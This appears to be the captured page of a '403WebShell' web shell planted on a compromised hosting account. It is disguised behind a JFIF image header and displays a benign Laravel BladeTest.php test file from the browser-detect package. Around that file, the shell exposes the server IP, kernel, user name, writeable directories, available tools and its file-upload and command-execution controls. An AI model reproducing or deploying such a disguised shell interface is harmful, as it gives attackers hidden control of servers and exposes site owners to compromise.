����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 3.17.156.114
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/bofirm.gltechlimited.com/vendor/hisorange/browser-detect/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/bofirm.gltechlimited.com/vendor/hisorange/browser-detect/tests/BladeTest.php
<?php
namespace hisorange\BrowserDetect\Test;

use Illuminate\Support\Facades\Blade;

/**
 * Class BladeTest
 *
 * @package hisorange\BrowserDetect\Test
 * @coversDefaultClass \hisorange\BrowserDetect\ServiceProvider
 */
class BladeTest extends TestCase
{
    /**
     * @return array
     */
    public function directiveProvider()
    {
        return [['mobile'], ['desktop'], ['tablet']];
    }

    /**
     * @dataProvider directiveProvider
     * @param string $directive
     * @covers       ::<protected>registerDirectives()
     */
    public function testDirectives($directive)
    {
        $actual   = Blade::compileString('@' . $directive . ' Ok @end' . $directive);
        $expected = "<?php if (\Illuminate\Support\Facades\Blade::check('$directive')): ?> Ok <?php endif; ?>";

        $this->assertSame($expected, $actual);
    }

    /**
     * @return array
     */
    public function directiveValuedProvider()
    {
        return [['mobile', false], ['desktop', true], ['tablet', false]];
    }

    /**
     * @dataProvider directiveValuedProvider
     * @param string $directive
     * @covers       ::<protected>registerDirectives()
     */
    public function testCheckingDirectives($directive, $expected)
    {
        $this->assertSame($expected, Blade::check($directive));
    }

    /**
     * @param string $directive
     * @covers       ::<protected>registerDirectives()
     */
    public function testBrowserDirectiveResult()
    {
        $this->assertSame(true, Blade::check('browser', 'isDesktop'));
        $this->assertSame(false, Blade::check('browser', 'ISMOBILE'));
    }

    /**
     * @covers ::<protected>registerDirectives()
     */
    public function testBrowserDirective()
    {
        $actual   = Blade::compileString('@browser("isMobile") Ok @endbrowser');
        $expected = '<?php if (\Illuminate\Support\Facades\Blade::check(\'browser\', "isMobile")): ?> Ok <?php endif; ?>';

        $this->assertSame($expected, $actual);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit